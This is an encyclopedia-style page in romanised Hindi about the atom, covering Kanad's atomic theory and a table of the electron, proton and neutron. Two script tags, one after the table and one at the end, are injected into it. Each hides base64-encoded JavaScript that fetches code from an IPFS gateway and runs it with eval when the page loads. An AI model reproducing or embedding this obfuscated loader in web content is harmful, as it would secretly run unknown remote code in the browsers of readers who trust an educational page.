परमाणु

paramanu (aangrezi:Atom) rasayan vijnan mean tatv ka vah chhota se chhota bhag hai, jo kisi bhi rasayanik abhikriya mean bhag le sakata hai parantu svatantr avastha mean nahian rah sakata hai. bharat ke mahanh rrishi kanad ke anusar sabhi padarth atyant sookshmakanoan se bane haian, jise paramanu kaha gaya hai. paramanuoan ka nirman prot aaun, nyootr aaun tatha ilektr aaun se milakar hota hai. paramanuoan ka akar atisookshm v dravyaman bahut kam hota hai. paramanuoan mean haidrojan sabase chhota v halka hota hai. isaki trijya 0.3 x 10^-10 mitar ke abrabar hota hai. kisi padarth ke paramanu ke usi ya any padarth ke paramanuoan se sanyog karake yaugik banane ki pravritti hi padarth ka rasayanik gun hoti hai. paramanuoan ke sanyog se anu mean aisi koee pravritti nahian hoti. kisi padarth ke rasayanik gun paramanuoan ke hote haian.

20vian shatabdi mean adhunik khojoan ke parinamasvaroop je. je. th aaumasan, radaraphord, chaidavik adi vaijnanikoan ne yah siddh kar diya ki paramanu vibhajy hai tatha mukhyatah tin mool kanoan se milakar bana hai, jinhean ilektr aaun, prot aaun tatha nyootr aaun kahate haian. pramukh mool kanoan ke abhilakshan

pramukh mool kanoan ke abhilakshan

mool kan	pratik	avesh	dravyaman (gram)	dravyaman (amu)	khojakarta
ilektr aaun	-1e0	-1	9.1095X10-28g	0.0005486	je. je. th aaumasan (1897)
prot aaun	1p1	+1	1.6726X10-24g	1.0073335	radaraphord
nyootr aaun	0n1	0	1.6749X10-24g	1.008724	chaidavik (1932)

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>